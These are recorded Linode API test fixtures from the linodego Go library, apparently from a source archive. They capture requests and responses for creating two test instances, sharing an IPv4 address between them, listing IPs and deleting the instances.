headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "770" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/39426832 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestIPAddress_Instance_Share.yaml000066400000000000000000000752551455402072200331010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:36 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-ord","type":"g6-nanode-1","label":"go-test-ins-wo-disk-r4kt55l2u6g0","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52922712, "label": "go-test-ins-wo-disk-r4kt55l2u6g0", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.196.163"], "ipv6": "1234::5678/128", "image": null, "region": "us-ord", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "dac50e38b22cb2a3f78706af00a10cf65b0bcbd5", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-w327g97mogn2","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52922712/configs method: POST response: body: '{"id": 55953786, "label": "go-test-conf-w327g97mogn2", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-ord","type":"g6-nanode-1","label":"go-ins-test-share","root_pass":"1{\\#t4CUY!SoDI4tjl,aGJT6GL(~1ab3E\u003ce5@wT9a\\nYx33!5Vt6\u0026=y0R7j|^33\\","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 52922713, "label": "go-ins-test-share", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.196.173"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "us-ord", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "5d7095e2e3d052a2dbc952de1bb54fae20939b03", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "735" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52922713/ips method: POST response: body: '{"address": "172.234.196.182", "gateway": "172.234.196.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-234-196-182.ip.linodeusercontent.com", "linode_id": 52922713, "region": "us-ord", "vpc_nat_1_1": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "252" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"ips":["172.234.196.182"],"linode_id":52922712}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/ips/share method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - ips:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52922712/ips method: GET response: body: '{"ipv4": {"public": [{"address": "172.234.196.163", "gateway": "172.234.196.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-234-196-163.ip.linodeusercontent.com", "linode_id": 52922712, "region": "us-ord", "vpc_nat_1_1": null}], "private": [], "shared": [{"address": "172.234.196.182", "gateway": "172.234.196.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-234-196-182.ip.linodeusercontent.com", "linode_id": 52922713, "region": "us-ord", "vpc_nat_1_1": null}], "reserved": []}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 52922712, "region": "us-ord", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 52922712, "region": "us-ord", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:39 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52922713 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:40 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/52922712 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 11 Dec 2023 22:38:41 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" 